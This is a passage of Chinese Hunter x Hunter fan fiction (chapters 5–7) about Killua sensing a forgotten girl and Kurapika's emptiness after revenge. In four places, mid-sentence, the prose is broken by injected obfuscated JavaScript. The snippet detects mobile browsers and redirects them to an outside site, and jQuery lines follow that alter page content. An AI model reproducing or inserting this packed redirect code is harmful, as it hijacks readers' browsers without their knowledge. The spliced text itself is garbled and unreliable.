“抱歉,亚路嘉,实在是忍不住。”奇犽挠挠头,略带歉意地笑着。
人流推搡间,左侧肩膀忽然传来一股明确的、带着体温的触感——有人撞了上来。一丝很淡的、像勿忘我又像某种药草的味道从鼻尖飘过。
他警惕地看向身后,只有潮水般朝他涌来的人流,因为他的驻足,在亚路嘉和他的身侧自动分成了两条河流。
刚才相撞的力道很轻,不足以被撞开,但是以揍敌客的训练来说,他不可能被撞到。
是错觉吗?他用凝看了一眼,没有念的痕迹。周围陌生的面孔疑惑地看了他一眼,随即又被音乐和花车吸引。
刚才的相遇就好像从未发生过一样。
可能是他感受错了?
“哥哥?”
亚路嘉待在他的旁边,见他不动,扯了扯他的衣袖。
“啊,没事。”奇犽摆手,“烟花不是要开始了吗,我们走吧,再不走可要开始了。”说着牵起亚路嘉的手继续走,在亚路嘉被周围吸引的空隙,他若有所思地回头张望了一下。
所有人都待在草坪上找了自认为最佳的观赏位置坐了下来,等待烟花的升空。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261307|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇犽带着亚路嘉走了一条偏僻的地方。他观察过了,这个地方人少,亚路嘉也不容易因为身高而被前面的人挡住。
拨过丛丛灌木,随着走近。空气中若有若无的勿忘我香气越来越浓。
奇犽牵着亚路嘉的手站定。眼前的视野一片开阔,远处的河流在微弱的灯光下静静流动着。他们的脚下,人头密密麻麻地攒在一块。
时钟上的数字跳动,来到了20:00。
细碎的星星划过天空,绽放了无数绚丽的烟花。世界一下被点亮,各色的光影在河流间跃动,热闹又欢快的气息扑面而来。
奇犽看着眼前的璀璨,蓬松的银发也染上了漂亮的颜色。
“你说,从侧面看的话,上升的烟花是圆是扁呢?”一个带笑的女声,几乎贴着耳畔响起。
太近了。
这不是亚路嘉的声音。
奇犽悚然一惊,猛地侧头——什么时候?以他的感知,竟没察觉有人贴近到这个距离。他退了一步,紧张地盯着那张模糊不清的脸,拉住亚路嘉的手却扑了个空。
“你是——”
——谁?
正当他张嘴想要说些什么的时候,下一束烟花恰在此刻升空,轰然炸开。
炫目的光清晰地照亮女生转过来的脸。黑色的发丝被夜风拂过,露出了那双亮晶晶的眼睛,里面绽开了一束又一束的花朵。
注意到奇犽的视线,她的嘴角轻轻扬起,梨涡浅浅地陷下去。纤细的指尖将垂落到脸颊处的发丝撩过耳后,奇犽的心弦也跟着被轻轻拨动了一下。
周遭的声音在急速褪去,站在这里的他或许被世界遗忘了,变得一片寂静。人群的欢呼、烟花的爆鸣、河流的水声,全部被拉远、模糊,像隔着一层厚厚的玻璃。
嗵、嗵、嗵——
万籁俱寂中,他只听到心跳急促地在胸口闷出了重重的声响。
全世界只剩下了那双眼睛,在烟火的光里亮得惊人,像盛着整片夜空。奇犽盯着她,喉咙发紧,心脏像被什么东西狠狠攥住。
——你是谁?
他想张嘴问。
似乎看出了他心里的想法,她又笑了起来,像是在对他说话,却没有声音,只有轻轻开合的嘴唇在昏暗里格外清晰。
她说的是——
奇犽的耳边仿佛嗡的一声,像有什么东西要冲破脑海。在下一轮烟花照亮夜空之前,她的身影像融化的光粒,倏地消散在风里。
音乐、欢呼、爆鸣声——潮水般涌回。世界又发现了他。
奇犽僵硬地站在原地,手心里,不知何时已攥满了冰凉的汗。身旁的亚路嘉,正仰头看着烟花,对刚才的一切毫无所觉。
“哥哥你看!”亚路嘉兴奋地拉了拉奇犽的手,指着不远处的天空。
奇犽恍若未闻,还沉浸在刚才的余味中。
“奇犽……?”她踌躇着喊了一声。
“啊、亚路嘉。刚刚、怎么了?”奇犽茫然地看着她。
只有塑料袋里的两条影子鱼,正疯狂地撞击着袋壁,朝着某处消失的方向。
5. chapter.5
夜晚的旅馆房间里,灯光昏黄得像被雾气浸过。窗外的花咲祭还没完全结束,远处偶尔传来烟花的爆鸣,像隔着一层水,模模糊糊听不真切。
亚路嘉坐在地毯上,两条影子鱼在透明的袋子里安静地漂着。
“哥哥,它们不动了。”她抬头,手指还维持着戳影子鱼的动作,语气失落,眼神黯淡了下来。
“可能寿命不长久吧?也可能睡着了。一般摊贩都喜欢卖这种短命鱼。你喜欢的话我们明天再去买。”奇犽在打字,双手在屏幕上快速地点击着,嘴里还含着一颗巧克力球。
今天晚上有点奇怪。
先是被不存在的人撞到,其次是烟火绽放时莫名的茫然,直到亚路嘉拉住她的衣袖,他才从这股劲里缓过神来。
他问亚路嘉那个时候发生了什么,亚路嘉摇摇头说他一直在看着天空发呆。
奇犽很少发呆,因为在揍敌客眼中发呆是一种无意义的行为。
[Evance]:最近有什么异常吗?总感觉和亚路嘉旅行之后,有什么东西被我遗忘了。——现在
[Gong]:是不是旅途太累了?奇犽好像发照片的频率也变少了。——现在
[Gong]:以往这个时候奇犽已经把关于亚路嘉一大堆的照片发过来了。——现在
[Gong]:(偷笑.jpg)——现在
[Evance]:不是那种累,小杰。更像是……有一段记忆被人从脑子里挖掉了。——现在
[Gong]:被挖掉?——现在
[Evance]:嗯。像有个洞,风一吹就空落落的。——现在
奇犽停下打字,屏幕的光映在他眼底,让他的表情显得有些冷。
他侧过头,看了一眼亚路嘉。
亚路嘉已经把袋子抱在怀里,正轻轻晃着,像是在哄那两条影子鱼睡觉。
她的侧脸很安静,像是习惯长久以来孤独,带着点不声不响的寂寞。
奇犽皱了皱眉,这种感觉很熟悉。
[Evance]:亚路嘉也有点奇怪。——现在
[Gong]:哪里奇怪?——现在
[Evance]:最近拿尼加出现的次数越来越频繁了。她今天拉我袖子的时候,说了一句很奇怪的话。——现在
[Gong]:什么?——现在
[Evance]:她说……“奇犽、你在哭吗?”——现在
但是很快,亚路嘉又回来了。她不知道拿尼加说了这句话,也不知道拿尼加自己顶替了她的意识出来。
对话框的语句反复删除又输入,奇犽的手指停在发送键上,输入光标在不停的跳动着。
他没有发送这段文字,转头又输入了另一个问题。
[Evance]:小杰,你对花咲这个姓氏有印象吗?——现在
奇犽的手指点着屏幕,微微皱起眉头。拿尼加自主行动是一件很可怕的事情。
意味着拿尼加在脱离亚路嘉的管控,或者说是拿尼加有事瞒着亚路嘉。
空气里只剩下远处烟花的余响,像心跳一样断断续续。手机传来滴答声,对面回复了。
[Gong]:是那对很有名的植物猎人夫妇吗!?他们很早之前就死掉了。听说好像是幻影旅团干的。——现在
[Gong]:以前尼特罗会长在的时候,提到他们的时候也很可惜呢。他们好像还有一个女儿吧?——现在
[Gong]:不过,最近我也觉得我很奇怪呢。——现在
似有所感,亚路嘉抬起头,眼睛亮亮的。
“哥哥,你在和谁说话呀?”她好奇地问道。
奇犽迅速把手机扣在床上,若无其事地笑了笑。
“没什么,一个烦人的家伙。”
他站起身,走到亚路嘉面前,伸手摸了摸她的头,顺带瞥了一眼袋子里的影子鱼。
“影子鱼不动,可能真的是睡着了。毕竟那么晚了。”
亚路嘉眨眨眼,天真地问。“那它们明天会醒吗?”
奇犽看着袋子里那两条失去墨色的装点几乎透明的鱼,沉默了一秒。
“会的。”他说。
“只要我们不忘记它们,它们就会一直醒着。”
远处的烟花再次炸开,橘红色的光透过窗帘缝隙照进来,在地上投下一条细长的光带。
像一条被分割开的记忆。
“哥……哥……”亚路嘉轻轻喊了一声,声音软得像棉花糖,尾音拖得长长的,还带着一点鼻音。
“怎么了?”奇犽转头看她。
她抱着膝盖缓缓打了一个哈欠,泪花被挤到眼角。头一点一点的,像小鸡啄米。
奇犽无奈地笑了笑,把亚路嘉抱到床上,贴心地把被子掖好。头顶的吊灯关了,留了一盏夜灯。
奇犽的手机屏幕亮了一下。
[Gong]:奇犽。——现在
[Gong]:你有没有觉得……——现在
[Gong]:我们好像漏掉了一个人。——现在
他把手机翻过来,屏幕的光映在他的眼睛里,像层薄薄的冰。那行字死死钉在他的脑海中,带着些许寒意,奇犽怔住了。
他知道小杰不是会说这种话的人。小杰的直觉准得可怕,但他不会无的放矢。
房间里的暖气充足,他的指尖却微微发冷。
他很少害怕。
揍敌客的教育里没有“害怕”这个词。
但现在,他确实感到一种从心底升起的冷意。
不是因为影子鱼,也不是因为花咲祭。
而是因为——他真的觉得,自己忘记了什么重要的东西。
像有人从他记忆里的完整拼图上,生生撬走最关键的一块留下一个突兀空洞,让周围的一切都无法再连贯。
他重新拿起手机,手指在屏幕上敲得飞快。
[Evance]:你还记得我们是怎么遇到亚路嘉的吗?——现在
对话框里出现了“正在输入”的提示。
然后又消失。
再出现。
再消失。
反复了好几次。
奇犽的心跳跟着那提示一起忽快忽慢。
终于,小杰回复了。
[Gong]:遇到亚路嘉?——现在
[Gong]:奇犽,我们不是一直和亚路嘉在一起吗?——现在
奇犽的手指停住了。
不对劲。
非常不对劲。
亚路嘉是被他从揍敌客的密室里带出来的,是在他向拿尼加的命令下,是在……
等等。
奇犽的脑子像被什么东西卡住了。
他想不起来。
他想不起来他们离开揍敌客家之后的那段旅程。
像被人用橡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261308|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮擦掉了一样。
“哥哥?”本该陷入沉睡中的亚路嘉说话了,声音遥远得像水底里传来。
奇犽猛地回头。
亚路嘉抱着装影子鱼的袋子,袋子里的鱼已经几乎完全透明,像随时会消失。
而亚路嘉的眼睛里,映出了一个奇犽从未见过的影子。
那影子站在奇犽的身后。
一个女孩的影子。
长发。
瘦弱。
像花一样脆弱。
带着丝丝缕缕的勿忘我花香从他的身后飘来。
拿尼加的嘴唇轻轻动了动,用几乎听不见的声音说:
“奇犽,你终于看到她了吗?”
奇犽猛地回头。
身后什么也没有。
只有昏黄的灯光和旅馆房间里冰冷的空气。
但手上手机的屏幕又亮了,在安静的房间里发出了滴答的两声。
[Gong]:奇犽,我想起来了。——现在
[Gong]:当时我们身边好像还有一个女生……——现在
[Gong]:好像也姓花咲——现在
[Gong]:什么什么空来着。——现在
奇犽心跳骤停,手指僵硬。
[Gong]:对、她叫朝穗空·花咲。——现在
——朝穗空·花咲。
奇犽的呼吸停住了,心跳也漏了两拍,记忆里消失已久的烟花爆鸣声在他耳畔炸开,逐渐扭曲、拉长,变成某种空洞的嗡鸣,从中浮现出一道清脆又柔和的声音。
那时未听清的话语、或者说是他看懂了又不可置信的唇语在此刻揭晓答案。
她说的是——
“我讨厌你,奇犽。”
——我讨厌你、奇犽。
——我讨厌你。
——奇犽。
明明说的是讨厌他的话,可与之相反的却是话语带着少女一腔的爱意,奇犽陷入了如同奶油一般甜蜜而又柔软的感情。
在这一瞬间,席卷他的不是回忆的画面,而是这句话本身所承载的、那个少女全部的温度与重量。
它如此真实,真实到让他胸腔发痛。
他左耳的耳垂,毫无缘由地、突然感到一阵细微的、冰凉的刺痒。
仿佛有一枚看不见的、早已不存在的耳坠,正轻轻晃动着,蹭过他的皮肤。他抬手去摸,那里什么也没有,只有他自己温热的体温。
可那阵幻觉般的凉意,像一枚小小的烙印,留在了那里。
袋子里的影子鱼,不知道什么时候彻底消失了。在它完全透明的瞬间,奇犽似乎听到了一声极轻微的、如同玻璃碎裂的脆响。
轻薄的塑料袋只剩下安静的水。
床上的亚路嘉沉睡着,发出浅浅的呼吸声。小杰发出了那一串文字在奇犽的注视下变成了乱码,熟悉的字体不断崩裂、重组、褪色,接着一条接一条的被删除。
截止到——
[Gong]:不过,最近我也觉得我很奇怪呢。——刚才
后面又弹出了两条消息。
[Gong]:可能是因为念能力消失了的缘故,有点不习惯。——现在
[Gong]:(微笑.jpg)——现在
银发的少年闭着眼,睡颜恬静,手机被他随手放在了耳旁。
所有的一切。
好像什么都没有存在过。
6. chapter.6
清晨的房间安静得过分。
窗帘缝隙里透进来的光很淡,像被水洗过一样,落在地板上,形成一条模糊的亮带。空气里还残留着昨晚烟花的火药味,混着一点若有若无的花香——像是勿忘我,又像是某种更遥远的东西。
床头柜上的夜灯依旧亮着,柔柔地晕开周围的一切。
奇犽是被亚路嘉的动静弄醒的。
他睁开眼的时候,亚路嘉正坐在床边,抱着膝盖,盯着地毯发呆。她的头发有点乱,眼睛红红的,像是刚哭过。
“亚路嘉?”奇犽撑起身子,声音还带着一点刚睡醒的沙哑。“怎么了?”
亚路嘉抬起头,怀里抱着透明的水袋,眼神里带着一点茫然。“哥哥,”她轻声说,“影子鱼……不见了。”
“可能是变成影子逃走了吧?”奇犽安抚道,顺手把垂到眼前的碎发撩到后面。“那个摊主不是说了嘛,可以触发回忆什么的,亚路嘉昨天晚上的梦说不定就是影子鱼变的。”
“真的吗?”亚路嘉捧着袋子,微微瞪大双眼,语气重新带着一丝喜意。
“哥哥什么时候骗过你了。”奇犽好笑道,顺手抄过床边的手机,轻点屏幕。界面还停留在与小杰的对话框处。
[Gong]:可能是因为念能力消失了的缘故,有点不习惯。——昨天
[Gong]:(微笑.jpg)——昨天
昨天晚上居然等小杰的消息等睡着了。果然和小杰说的一样是最近太累了吗?
奇犽去卫生间里冲了一把脸,冷水顺着下巴滴落。他看着镜子里的自己,银发蓝眼的少年也在镜子里看着他。比起第一次离家出走时,他的身形高了些,肩膀也更宽了。
从翘起的头发、滑到眉骨、再是双眼、鼻梁、嘴唇。最终,他的目光鬼使神差地落在了自己的左耳垂。
那里什么也没有。
不对。
应该挂着什么东西才对。
冰凉的、小巧的、如他那双眼睛一般剔透的颜色。
——那是酷拉皮卡的装扮。
——奇犽。
突然冒出的念头让他心头一惊。
左耳垂上红色的带着金色横杠和细链的菱形吊饰,这是酷拉皮卡窟卢塔一族独有的装扮。身为揍敌客一员的他怎么可能带着这种东西。
“我到底在想什么……”他低头自语,又掬起一捧水泼到脸上,水珠顺着耳畔的发丝滴入水台,随着坡度滑走。一抬头,又和镜子里的自己对视上。
蓝色的瞳孔,冰冷的、不含一丝感情的揍敌客杀手。
一滴眼角的水珠恰好从脸颊滚落,隐入衣领里。
像是在无声地哭泣。
他怎么可能会哭。
奇犽皱了皱眉,甩甩头,试图把那股奇怪的感觉赶走。
“哥哥……你好了吗?”亚路嘉敲了敲门。
“来了。”
滴答两声,屏幕亮起。
[Loradio]:最近有和酷拉皮卡这家伙联系吗?——现在
[Loradio]:这小子从船上回来之后就一直不回我的消息。——现在
[Loradio]:本来想找他好好聊聊,但猎人协会这群家伙实在是让人头大,完全让人脱不开身。——现在
[Loradio]:(火大.jpg)——现在
消息弹出的时候,奇犽正坐在飞艇上,窗外的山峦快速掠过他的侧脸,亚路嘉抱着玩偶靠在他的肩头昏昏欲睡。他看见消息笑了一声,瞥了一眼与亚路嘉的世界旅行清单,随后回复道:
[Evance]:天天操心会变老的哦、老婆婆大叔。——现在
[Evance]:我现在在优鲁彼岸大陆上空,快到撒黑鲁达联合国境内了。我记得酷拉皮卡隶属的诺斯拉□□就在友克鑫市吧?我和亚路嘉顺路去看看。——现在
[Evance]:你这个墨镜头像真有够土的、老婆婆大叔。——现在
[Loradio]:这是时尚!你这个小鬼懂什么!——现在
[Loradio]:(敲打.jpg)——现在
[Evance]:你怎么知道我有一个特别可爱的妹妹。——现在
[Evance]:(图片)
(图片)
(图片)
(图片)
(图片)
(图片)
(图片)
(图片)
[Evance]:妹妹太可爱了怎么办。急。——现在
按下发送键,飞艇恰好穿过一片云层,窗外的光线骤然被吞没,屏幕的光成了舱内唯一的光源,映着奇犽笑的脸,在瞬间的昏暗里,那笑容看上去有些模糊。
[Loradio]:?——现在
雷欧力欧不说话了,奇犽指尖无聊地点进其他页面,余光瞥见亚路嘉的脑袋在他肩上轻轻蹭了蹭,顺手把外套往她身上拢了拢。
飞艇的引擎声很轻,经过云层之后,棉花般轻盈的云絮擦着舷窗飘过,把阳光揉成细碎的光斑,落在亚路嘉的头顶。
就在这片静谧中,某个同样寂静的、遥远的房间景象,突兀地闪现在他脑海——一张桌子,一把椅子,空荡得令人心慌。
他甩甩头,将这莫名的联想驱散。目光重新落在屏幕上,却鬼使神差地点开了另一个沉寂已久的聊天窗口。
[Rioleo]:最近在哪发财呢,酷拉皮卡君。——十天前
[Rioleo]:猎人协会这群家伙一个个都不让人省心。——七天前
[Rioleo]:你什么时候退出协会了?怎么没有告诉我?——五天前
[Rioleo]:酷、拉、皮、卡、——五天前
[Rioleo]:为什么不理我?——三天前
[Rioleo]:。——两天前
屏幕里的消息已经被酷拉皮卡反反复复看了好几遍。聊天框里的信息被他几次修改,最后清除,对着空白的对话框发呆。
该说什么。
——他的复仇结束了?
——他杀了幻影旅团?
——族人的眼睛全被他找回来了?
他闭眼仰头靠在椅子的靠枕上,耀眼的金发遮住了他的眼眸。耳垂处的两支耳坠微微晃动,右手垂到一旁,上面的锁链发出了清脆的金属碰撞声。
36对火红的眼球静静悬浮在他的周围,像一团团燃烧过后的余烬,无声地灼烧着酷拉皮卡的内心。
那些开头与过程他已经不想回忆。
血液、嘶吼、执念、疯狂——
他几乎把自己的灵魂都献祭给了复仇。
结束这一切时,他终于如释重负的叹了一口气。
可那之后呢。
他该何去何从。
酷拉皮卡缓缓睁开眼,茶色的瞳孔在昏暗的房间里映出微弱的光。
房间很小,很空,也很安静,只有他的呼吸声在回荡。
明明是诺斯拉家族的首领,可除了一张床、一张桌子、一把椅子,一些止血用品。几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261309|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乎没有任何多余的东西。
像是临时租来,又像是刻意让自己保持“随时可以离开”的状态,不想给任何人添麻烦。
他抬手,轻轻触碰右胸口口袋里那枚坚硬的物什。
冰凉的触感传来,让他混乱的思绪稍微稳定了一点。
这是他与族人最后的联系。
是他身份的证明。
是他没有迷失在复仇里的唯一锚点。
可现在,这枚耳饰也变得有些陌生。
手机屏幕再次亮起,是雷欧力欧的消息。
[Rioleo]:酷拉皮卡,你到底在干什么?——现在
[Rioleo]:回答我。——现在
[Rioleo]:不要装死啊。——现在
[Rioleo]:你在哪里。——现在
[Rioleo]:我很担心你。——现在
酷拉皮卡盯着那行字看了很久。
他的手指悬在屏幕上,微微颤抖着。
可最终,他什么也没说。
输入框里的文字被他一个字一个字地删掉,只剩下一片空白。
就像他现在的心。
他把手机扣在桌面上,站起身,走到落地窗边。
窗外是友克鑫市的夜景,灯火辉煌,车水马龙。即使已经是深夜,这里依旧像一台永不停歇的机器,喧嚣而热闹。
这座城市曾经见证过他最痛苦的时刻,也见证过他最疯狂的执念。
可说到底也只是一座普通的近一线城市,甚至普通得让他感到无所适从。
他想念拂过脸畔带着青草气的风、山间湿润的雾气、清脆悦耳的鸟鸣。
他想念窟卢塔一族遥远的故乡。
他想念他们。
想到这,被绷带紧紧绑住的伤口又开始剧烈地疼起来,他的心脏也开始缓缓地一下又一下抽着。
他本该对此麻木。
那名为复仇的熊熊烈火早已将他焚烧殆尽。
“天上太阳,地上绿树……”他下意识默念起窟卢塔一族的祷词。
当熟悉的词句即将涌出喉咙时,一股巨大的陌生感却抢先攫住了他。这些血脉里的歌,如今却像是别人的经文。
酷拉皮卡深深地吸了一口气,冰冷的带着些尘土味的空气灌入肺里,试图压下那阵令他恐慌的疏离。
他将微凉的誓戒贴到苍白的唇边,声音干涩而低沉,执着地、一个字一个字地、将那镌刻在灵魂里的祷文挤出胸腔:
“天上太阳,地上绿树。
我们的身体诞生于大地,灵魂来自天上。
太阳与月亮照耀我们的四肢,绿地滋润我们的身体。
将此身交给吹过大地的风,感谢上天赐奇迹予窟卢塔族的土地。
愿我们的心灵永远安康,愿与所有同胞分享喜乐、分担悲伤。
请永远赞美窟卢塔族的人民。
让我们绯红色的火红眼为证……”
每念出一个词,都像是带着忐忑不安的心在确认自己尚未完全碎裂。他还能够呼吸、能够跳动、能够说话,还能够完整地行走于这世间。
他已经不会再愤怒了。
请让他这堆死灰平静、再平静一些吧。
然后就这样——活下去,直到被风扬起,回到梦想中的故土。
酷拉皮卡的声音在空旷的房间里回荡,孤独地坠入无边的夜色。
被放置一旁的手机无声弹出了一条消息。
[Killua]:你在哪。——现在
7. chapter.7
“你今天要出去吗?”旋律刚准备弹琴就碰上了正要出门的酷拉皮卡。
“嗯。去看看老朋友。”酷拉皮卡瞥了她一眼,“需要我带什么东西吗?”
旋律纤细的指尖还搭在钢琴键上没有按下,她微微侧着头,过长的灰粉色头发散落在她的腰间,眉头微微蹙起,像是在聆听空气中常人无法察觉的细微震动。
从他遇见她的时候,她就是这样。
即使恢复了从前的样貌。
也还是那样不声不响。
被动聆听他人的心音、被动承受着他人难以理解的痛苦。
“不用了……”旋律摇摇头,按压下心头那点不适,嘴角扬起,露出一个温和的笑容,“出去走走也挺好的,酷拉皮卡,一路小心。”
酷拉皮卡的心跳从那天回来后就变得很轻,很空,像一根断了的弦。
没有了目标,没有了方向,只剩下空洞的回响。那种声音……就像一个人走到了终点,却发现前面什么也没有。
“嗯,再见。”酷拉皮卡道别,他看清了旋律眼神里忽明忽暗的亮光,似乎还有别的话想对他说,但还是选择彼此心照不宣地别过双眼。
等到那声音走远,旋律的手指终于落下,钢琴发出一声低沉的音,像叹息,又像深渊。
以前的酷拉皮卡,心跳像紧绷的弦,每一次跳动都带着尖锐的执念,像刀刃在摩擦。那种声音很痛,却很清晰,清晰到让人知道他为什么而活。
现在他的灵魂里有一块地方彻底安静了。太安静了,安静得让人害怕,是连悲伤都无法抵达的空白。
就像把手贴在一口刚刚停止轰鸣的巨钟上,还能感受到金属内部令人心悸的、逐渐死去的震颤。最终,是归于一片虚空般的冰凉。
是的,冰凉。
酷拉皮卡的心跳现在带给她的联觉,就是一种冰冷。不再有灼热的恨意炙烤她的听觉,只剩下一种……被抽空后的、广漠的安静。
这种安静比之前任何尖锐的痛苦都更让她不安。
一个人终于亲手熄灭了燃烧自己多年的火焰,却发现火灭了之后,他再也不知道自己是谁了。
她轻轻地、轻轻地叹了一口气。望向黑云密布的天空。
——应该让他带把伞的。
淡淡的雨丝擦过酷拉皮卡的脸颊。
今天天气不好。
他低头站在隆起的土堆几步路前。
——这是窝金的坟墓。
兜兜转转还是回到了这里。
淡蓝色的菱形的耳坠被他紧紧握在手心,骨节攥得发白,仿佛只有这样才能从中汲取一些勇气。
这还是从幻影旅团的团长——库洛洛尸体旁边捡来的,上面有独属于窟卢塔族的手工痕迹,酷拉皮卡不会记错。
每一个睡不着的夜晚,他一遍又一遍摩挲着父母留给他的那对耳饰,将那细细的纹路和凹凸的质感一个不落地记住,他一直在等待、等待着复仇的那一天。
确认过几遍没有生命体征,将他们埋入黄泥里时,他却没有丝毫大仇已报的喜悦。只是麻木地挖起泥沙掩埋,再挖起,再盖上。
那时的想法、感受和情绪。
他都已经记不清了。
只记得那天天气很好,太阳照耀着一切,树叶顺着风哗啦啦地吹落,在空中打了个旋,掉在土坑里。
面前的沙土一下又一下洒落,把金灿灿的阳光埋葬,直到隆起一个小小的土堆。
就和面前一样的高度的土堆。
他甚至不记得自己是怎么离开那片空地的。
雨越下越大。
酷拉皮卡没有撑伞,任由冰冷的雨丝打在脸上、肩上,顺着发丝滴落。他走得很慢,每一步都像踩在水里,发出沉闷的声响。
窝金的墓已经被雨水打湿,土堆变得松软。
泥腥味充斥在他的鼻尖,雨珠顺着金发的弧度滚落,在下巴处聚成水珠,砸进脚下的泥地里,晕开细小的涟漪。他站在那里很久,久到雨把他的衣服彻底浸透。
他原本以为,来到这里会让心里的那块空洞稍微被填满一点。
但没有。
反而更空了。
空得像被雨水冲刷过的泥土,连一丝痕迹都不留,只剩下泥泞。而这浑浊之中,一点异样的、坚硬的、带着大理石纹路的灰色,漏出了一个小小的角。
什么东西?
他的思维还在空洞中漂浮,身体却先于意识做出了反应——无意识地屏住呼吸。雨水砸在肩头的声音骤然拉远。
酷拉皮卡缓缓蹲下身,衣服湿透后紧紧贴在身上,像一层冰冷的皮肤,让他每动一下都觉得沉重。
他的指尖拨开湿润的泥土,冰凉的湿气顺着指缝钻进皮肤,带着腐败的植物气息。
随后便是那方方正正带着清秀字体的石头出现在他的眼前——‘窝金’。石头周围还残存着些许黑色的念,表面的纹路在雨雾里显得有些模糊,像某种被时间磨过的旧物。
他指尖轻轻抚过刻字的边缘,笔画很浅,像是刻字的人刻意控制着力道。还俏皮地画上了一些藤蔓和花朵,像是一个女生的手笔。
这个地方很少有人来,当时也只有他和窝金两个人知道这个地方,窝金已经死了,自然不可能为自己刻字。他也写不出这样的字体。
那么这是谁留下的?
幻影旅团残存的未出面的一员?
除了这个他想不到其他的可能性。
他拿起石头站起,掌心被石面的冰凉和粗糙硌得微微发疼。
那重量比耳坠更沉,沉得像是把某种看不见的东西一并托了起来。
他望向遥远的雨幕,视线穿过层层雨线,落在被浓雾吞没的天际。
呼吸在胸腔里停了一瞬。
无尽的灰色里,藏着一丝若有若无的绯色,仿佛随时都会被雨彻底抹去。
“怎么哪里都找不到酷拉皮卡这家伙。”
奇犽盯着玩偶火红的宝石眼,有些无聊地打了个哈欠。亚路嘉乖乖地抱着玩偶坐在他身旁,小口小口地吃着芭菲杯。
包间里弥漫着淡淡的酒味,与窗外潮湿的空气混合在一起,形成一种沉闷的气息。
“这家伙总是什么事情都不告诉我们!”
面前的雷欧力欧举起马天尼杯不顾形象地仰头一饮而尽。他的喉结滚动,酒液顺着喉咙滑下,带来一阵短暂的灼热。
他又拿起醒酒器给自己倒满。酒液在杯壁晃出一圈圈涟漪,他啧了一声,像是在压下心头的烦躁。
“自顾自的跑去复仇、自顾自的把我们三个丢下,太不够义气了!”他装模作样地把酒杯在亚路嘉和奇犽的面前晃了一圈,咕噜咕噜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261310|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就喝了下去。
奇犽撑着脑袋看着他,随手往上抛了一颗巧克力丢入嘴中。
“猎人协会也是说退就退,留我一个人在那边苦哈哈地应付那群老狐狸……”雷欧力欧满脸通红地晃着脑袋,余光瞥到蜿蜒交错的窗户。
外面的雨还在下,像一张密不透风的网,把整座城市罩在里面。从房顶滴落的水线连成一片,窗玻璃被敲得发疼,远处的街道被雨雾吞掉一半,车灯在雨幕里拉出长长的光痕,又很快被吞没。
奇犽嚼着巧克力,眼神却不自觉跟着雷欧力欧飘向窗外的雨幕。
“那家伙……现在应该也在淋雨吧。”
“这种天气他估计也不会带伞,身上的伤口一淋就发炎,真该让他长个记性!”雷欧力欧嘟囔着,又喝下一杯。
“哥哥,雷欧力欧叔叔他……”亚路嘉有些犹豫地看了雷欧力欧一眼,话还没说完,又被雷欧力欧打断。
“是哥哥、雷欧力欧哥哥!我才21岁诶——一个个的小鬼头真不懂礼貌。”雷欧力欧立刻炸毛,把杯子往桌子上一顿,挥舞着拳头吵道。
“毕竟我们也只有十岁出头啊,雷欧力欧、叔、叔。”奇犽弯着眼,特意停顿强调这两个字,左手的骨节不断扭曲变得锋利,示威般在雷欧力欧眼前晃了晃。
“不和你们这些小鬼头一般见识。”雷欧力欧打了个哆嗦,装作没看到奇犽的手哼哼两声,识趣地转移话题。“总之,等雨小点,我们就去找他。”
他说着,又抬手揉了揉眉心,声音轻得像自言自语:“再这样下去,那家伙迟早把自己折腾死。”
“嗯。”奇犽轻轻应了一声,指尖无意识地摩挲起左耳垂,状似不经意问道:“雷欧力欧,你知道花咲祭吗?”
“花咲祭,没听说过……倒是花咲这个姓氏我在猎人协会里面常常听到,尤其是在黑鲸号那段时间,只要提起黑暗大陆就会提到花咲。”雷欧力欧身体往后一倒,翘起二郎腿靠在沙发上,手指敲了敲杯壁。
“根据他们所说应该是一对植物猎人夫妇,多次来到黑暗大陆探索,耗费无数人力,最后却只从黑暗大陆里带走了一颗种子、一颗平平无奇的种子。比杨德·尼特罗甚至还为了这颗种子和他们吵了一架。”雷欧力欧摆摆手笑了一下。
